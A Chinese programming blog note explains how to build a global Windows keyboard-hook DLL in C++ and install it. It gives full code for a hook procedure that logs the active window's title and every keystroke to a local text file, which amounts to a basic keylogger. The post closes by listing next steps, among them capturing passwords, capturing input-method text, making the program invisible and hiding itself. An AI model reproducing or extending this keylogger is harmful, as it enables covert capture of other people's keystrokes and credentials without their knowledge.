hook(笔记)

本文详细介绍了如何使用C++创建动态链接库DLL,并实现键盘钩子来监听系统中的键盘事件。从创建项目、编写DLL导出函数,到安装和卸载钩子,以及处理键盘消息,整个过程清晰阐述。最后提到了一些实际应用中可能遇到的问题,如密码抓取的挑战和隐藏自身等。
摘要由CSDN通过智能技术生成

一、创建

本文钩子的使用以动态库方式完成

钩子是一个用于Windows下所有事件的监听器,用于抓取其系统中的所有消息。

使用Windows桌面应用向导,生成一个桌面应用。

再解决方案下添加另一个项目,该项目用来写钩子

 然后为钩子项目准备两个文件,用于声明和实现

#pragma once
//以C的方式,以动态链接库的方式导出函数
//extern "C" 以C语言方式(函数),此外,C++方式则一般为类
//_declspec(dllexport)导出函数为dll函数
extern "C" _declspec(dllexport) bool installHook();
extern "C" _declspec(dllexport) bool unInstallHook();


bool installHook() {//安装钩子

	return true;
}
bool unInstallHook() {//卸载钩子

	return true;
}

 同时,需要在Project.cpp项目中进行修改 ​

//以C语言方式,动态链接库形式导入函数
extern "C" _declspec(dllimport) bool installHook();
extern "C" _declspec(dllimport) bool unInstallHook();

 点击重新生成

 成功后,在项目的debug处看到

 我们成功生成了应用程序扩展库文件

二、DLL与SLL

SLL(static link library):使用静态链接库。在编译时,将代码加入项目当中。

  • 两个文件相关:.h头文件lib文件
  • .h头文件:包含lib中说明输出的类或符号原型或数据结构。调用.lib文件时,需要将.h头文件包含入应用程序的源文件中。
  • .lib文件:此处为静态lib文件是obj文件的集合。
  • .obj文件:是.cpp文件编译之后产生的一种文件。一个.cpp文件编译之后只会产生一个.obj文件,而多个.obj文件就可以连接生成lib文件
  • 我们在使用时,一般就是导入.lib文件的同时,将头文件.h导入,再通过include的方式使用。

DLL(dynamic link library):使用动态链接库。对于项目而言,仅包含在运行时定位DLL函数的可执行代码所需的信息。

  • 三个文件相关:.dll文件.h头文件lib文件
  • .h头文件:应用程序调用dll时,仍需要将该文件包含入应用程序的源文件中。
  • .lib文件:动态lib文件是dll在编译、链接成功后生成的文件。调用dll时,需要将该文件引入应用程序(亦可以可通过LoadLibrary、GetProcAddress装载,此方式 将不需要lib)。
  • .dll文件:执行文件。对于发布的文件可以不需要.h头文件.lib文件而单独使用。但若要继续Debug、修改项目,则仍旧需要其他两个文件。
  • 一般需要在生成文件时,通过#pragma comment(lib,"库名称.lib")

 三、键盘钩子

现在导入链接库 

(.lib文件会在我们完成实现后,运行项目,通过_declspec.dll文件出现在同一个文件夹,注意.lib文件与调用它的.cpp文件的位置)

 安装钩子与卸载钩子

我们需要在窗口创建完毕后,生成钩子,在窗口关闭前删除钩子。

 现在修改WndProc回调函数(处理主窗口消息),

实现钩子

记得重新生成,覆盖原有DLL

 先完善头文件

#pragma once
#include<windows.h>
//以C的方式,以动态链接库的方式导出函数
//extern "C" 以C语言方式(函数),此外,C++方式则一般为类
//_declspec(dllexport)导出函数为dll函数
extern "C" _declspec(dllexport) bool installHook();//安装钩子
extern "C" _declspec(dllexport) bool unInstallHook();//卸载钩子


HHOOK hHook;
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM  lParam);
bool installHook();
bool unInstallHook();

然后是部分功能的实现,此时钩子是全局监视

#include "KeyHook.h"

LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM  lParam) {
	//测试
	MessageBox(NULL, L"有人进行按键操作", L"钩子处理函数执行", NULL);
	//拿到当前操作窗口的标题

	//拿到当前按下键上的字符

	//保存到文件
	return NULL; 
}


bool installHook() {//安装钩子
	//SetWindowsHook只能适用32位,Ex位升级版
	    hHook = SetWindowsHookEx(
		WH_KEYBOARD,//钩子种类,此处我们埋下键盘消息钩子
		hookProc,//设置钩子的处理函数,以回调的形式
		GetModuleHandle(L"KeyHook"),//GetModuleHandle:通过项目名称,获得该项目的实例句柄
		NULL//线程ID,NULL自动分配
	);
	if (hHook == NULL) 
		return false;
	//父窗口,内容,标题,提示类型(图标)
	MessageBox(NULL, L"钩子已安装", L"提示", NULL);
	return true;
}

bool unInstallHook() {//卸载钩子
	UnhookWindowsHookEx(hHook);
	return true;
}

 钩子处理函数

现将钩子处理函数进一步处理函数完善,代码如下

#include "KeyHook.h"

LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM  lParam) {
	//测试
	//MessageBox(NULL, L"有人进行按键操作", L"钩子处理函数执行", NULL);
	//拿到当前操作窗口的句柄
	HWND hWnd = ::GetActiveWindow();//获得当前活动窗口句柄,使用全局符号,避免有相同函数名称
	char windowTextBuff[256] = { 0 };//存储窗口标题
	char keyTextBuff[256] = { 0 };//存储按下的字符
	if (NULL == hWnd) {//如果没有活动窗口,则去拿顶层窗口
		hWnd = ::GetForegroundWindow();
		if (NULL == hWnd) {//如果没有窗口,只有桌面,则不要此次数据
        //调用下一次钩子处理(再次下钩),意味着消息并未处理,下传消息
			return CallNextHookEx(hHook,code,wParam,lParam);
		}
	}
	//拿到当前按下键上的字符
	//末尾加 A指的是ANSI
	//末尾加 W指的是UNICODE
	//不加是一个宏,会自动转换
	GetWindowTextA(hWnd, windowTextBuff, 255);
	if (code < 0 || code == HC_NOREMOVE) {	//排除拿不到的键
		return CallNextHookEx(hHook, code, wParam, lParam);
	}
	if (lParam & 0x40000000) {//排除系统按键
		return CallNextHookEx(hHook, code, wParam, lParam);
	}
	//获取按键
	GetKeyNameTextA(lParam, keyTextBuff, 255);
	//保存到文件
	//创建或打开文件
	FILE* fp = NULL;
	fopen_s(&fp,"information.txt", "a");//以追加写的方式打开
	if (fp == NULL) {
		MessageBox(NULL, L"记录文件部署失败", L"提示", NULL);
	    return CallNextHookEx(hHook, code, wParam, lParam);
	}
	//合并数据
	fprintf_s(fp, "%s : %s\n", windowTextBuff,keyTextBuff);
	//保存并关闭文件
	fclose(fp);
    //意味着消息已经处理,不需要继续下传
	return NULL; 
}


bool installHook() {//安装钩子
	//SetWindowsHook只能适用32位,Ex位升级版
		hHook = SetWindowsHookEx(
		WH_KEYBOARD,//钩子种类,此处我们埋下键盘消息钩子
		hookProc,//设置钩子的处理函数,以回调的形式
		GetModuleHandle(L"KeyHook"),//GetModuleHandle:通过项目名称,获得该项目的实例句柄
		NULL//线程ID,NULL自动分配
	);
	if (hHook == NULL) 
		return false;
	//父窗口,内容,标题,提示类型(图标)
	MessageBox(NULL, L"钩子已安装", L"提示", NULL);
	return true;
}

bool unInstallHook() {//卸载钩子
	UnhookWindowsHookEx(hHook);
	return true;
}

但这仍然有很多问题。

  1. 客户端抓取到的密码是加密或者根本无法被抓取
  2. 抓取项目本身会出问题
  3. 无法抓取输入法信息
  4. 需要将窗口绘画函数关闭,进行完全不可见操作
  5. 需要隐藏自身

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值